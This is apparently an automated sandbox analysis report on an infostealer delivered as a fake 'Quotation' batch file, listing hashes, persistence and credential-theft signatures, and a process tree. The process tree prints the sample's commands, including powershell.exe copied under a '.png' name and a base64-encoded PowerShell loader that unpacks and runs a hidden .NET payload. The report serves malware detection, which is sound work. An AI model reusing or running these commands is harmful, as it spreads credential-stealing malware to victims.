Analysis
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max time kernel
164s -
max time network
170s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-en -
resource tags
arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system -
submitted
13-10-2023 07:39
Static task
static1
Behavioral task
behavioral1
Sample
Quotation 9117990927023.bat
Resource
win7-20230831-en
Behavioral task
behavioral2
Sample
Quotation 9117990927023.bat
Resource
win10v2004-20230915-en
General
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Target
Quotation 9117990927023.bat
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Size
1013KB
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MD5
82ea0e8631cc002a509a86edc2882e90
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SHA1
76d51a264ce95c422947a7563d08d229be03f4e6
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SHA256
4b1314d38a54e24ee3cb36e2485ff1a3b7e9d3bd9e0feebc71ef955653f4e3d3
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SHA512
c23720a1f359a2c1d0e20db1f92a8fe5383170279bdc7b68f6fca3e5e3365c530401156aec8bfd5a7d22ff98f188413ebd4609bb4ca2aa900177daab84c5717e
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SSDEEP
24576:bO6nHMuwW4sVl0A2ahdLNpQeu+SqME0N95Nw515:fnmodHdUgP
Malware Config
Signatures
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Executes dropped EXE 1 IoCs
pid Process 1456 Fdkitmrjwhy.png -
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\TlKsFB = "C:\\Users\\Admin\\AppData\\Roaming\\TlKsFB\\TlKsFB.exe" Fdkitmrjwhy.png -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 57 api.ipify.org 58 api.ipify.org -
Program crash 1 IoCs
pid pid_target Process procid_target 100 1456 WerFault.exe 95 -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 1456 Fdkitmrjwhy.png 1456 Fdkitmrjwhy.png 1456 Fdkitmrjwhy.png 1456 Fdkitmrjwhy.png -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 1456 Fdkitmrjwhy.png Token: SeDebugPrivilege 1456 Fdkitmrjwhy.png -
Suspicious use of WriteProcessMemory 17 IoCs
description pid Process procid_target PID 3804 wrote to memory of 1936 3804 cmd.exe 87 PID 3804 wrote to memory of 1936 3804 cmd.exe 87 PID 3804 wrote to memory of 3940 3804 cmd.exe 88 PID 3804 wrote to memory of 3940 3804 cmd.exe 88 PID 3804 wrote to memory of 3548 3804 cmd.exe 89 PID 3804 wrote to memory of 3548 3804 cmd.exe 89 PID 3548 wrote to memory of 180 3548 cmd.exe 91 PID 3548 wrote to memory of 180 3548 cmd.exe 91 PID 3548 wrote to memory of 1944 3548 cmd.exe 92 PID 3548 wrote to memory of 1944 3548 cmd.exe 92 PID 3548 wrote to memory of 2736 3548 cmd.exe 93 PID 3548 wrote to memory of 2736 3548 cmd.exe 93 PID 3548 wrote to memory of 4068 3548 cmd.exe 94 PID 3548 wrote to memory of 4068 3548 cmd.exe 94 PID 3548 wrote to memory of 1456 3548 cmd.exe 95 PID 3548 wrote to memory of 1456 3548 cmd.exe 95 PID 3548 wrote to memory of 1456 3548 cmd.exe 95
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Quotation 9117990927023.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3804 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo F "2⤵PID:1936
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C:\Windows\system32\xcopy.exexcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Fdkitmrjwhy.png2⤵PID:3940
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Quotation 9117990927023.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:3548 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo F "3⤵PID:180
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C:\Windows\system32\xcopy.exexcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Fdkitmrjwhy.png3⤵PID:1944
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo F "3⤵PID:2736
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C:\Windows\system32\xcopy.exexcopy /d /q /y /h /i "C:\Users\Admin\AppData\Local\Temp\Quotation 9117990927023.bat" C:\Users\Admin\AppData\Local\Temp\Fdkitmrjwhy.png.bat3⤵PID:4068
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C:\Users\Admin\AppData\Local\Temp\Fdkitmrjwhy.pngC:\Users\Admin\AppData\Local\Temp\Fdkitmrjwhy.png -win 1 -enc JABZAHUAYgBwAG4AZABkAGkAdQBzAHEAIAA9ACAAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAKAAoAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlACkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACIALgBiAGEAdAAiACkALAAgAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4ACkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0AbABhAHMAdAAgADEAOwAgACQAVABlAHYAcQBrAGcAeABwAGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAWQB1AGIAcABuAGQAZABpAHUAcwBxACkAOwAkAFoAZQBsAGYAegAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAoACAALAAgACQAVABlAHYAcQBrAGcAeABwAGcAIAApADsAJABvAHUAdABwAHUAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAQwBmAGYAYgBtAGgAcQBuAHcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAgACQAWgBlAGwAZgB6ACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAJABDAGYAZgBiAG0AaABxAG4AdwAuAEMAbwBwAHkAVABvACgAIAAkAG8AdQB0AHAAdQB0ACAAKQA7ACQAQwBmAGYAYgBtAGgAcQBuAHcALgBDAGwAbwBzAGUAKAApADsAJABaAGUAbABmAHoALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABUAGUAdgBxAGsAZwB4AHAAZwAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABUAGUAdgBxAGsAZwB4AHAAZwApADsAIAAkAEUAdABnAG8AaABhAHcAagB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAFQAZQB2AHEAawBnAHgAcABnACkAOwAgACQAVAB4AHMAdwBsAGYAbQBvAHAAeAB0ACAAPQAgACQARQB0AGcAbwBoAGEAdwBqAHQALgBHAGUAdABFAHgAcABvAHIAdABlAGQAVAB5AHAAZQBzACgAKQBbADAAXQA7ACAAJABEAG8AbgBnAHUAeQBiAGkAYQAgAD0AIAAkAFQAeABzAHcAbABmAG0AbwBwAHgAdAAuAEcAZQB0AE0AZQB0AGgAbwBkAHMAKAApAFsAMABdAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1456 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1456 -s 31964⤵
- Program crash
PID:100
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 180 -p 1456 -ip 14561⤵PID:3872
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
423KB
MD5c32ca4acfcc635ec1ea6ed8a34df5fac
SHA1f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919
SHA25673a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
SHA5126e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc
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Filesize
1013KB
MD582ea0e8631cc002a509a86edc2882e90
SHA176d51a264ce95c422947a7563d08d229be03f4e6
SHA2564b1314d38a54e24ee3cb36e2485ff1a3b7e9d3bd9e0feebc71ef955653f4e3d3
SHA512c23720a1f359a2c1d0e20db1f92a8fe5383170279bdc7b68f6fca3e5e3365c530401156aec8bfd5a7d22ff98f188413ebd4609bb4ca2aa900177daab84c5717e
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82